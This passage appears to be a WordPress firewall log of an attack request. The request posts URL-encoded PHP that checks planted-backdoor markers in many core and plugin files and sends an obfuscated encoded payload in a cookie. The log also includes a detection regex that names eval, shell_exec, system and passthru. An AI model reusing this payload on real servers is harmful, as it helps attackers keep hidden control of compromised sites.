/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Decode\/HTML\/asm.php%22%3D%3E%22bd%40%40244668675%40%40665%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-20 02:50:34","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zI:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Decode\/HTML\/asm.php%22%3D%3E%22bd%40%40244668675%40%40665%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrxxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:13568\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\nzI=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd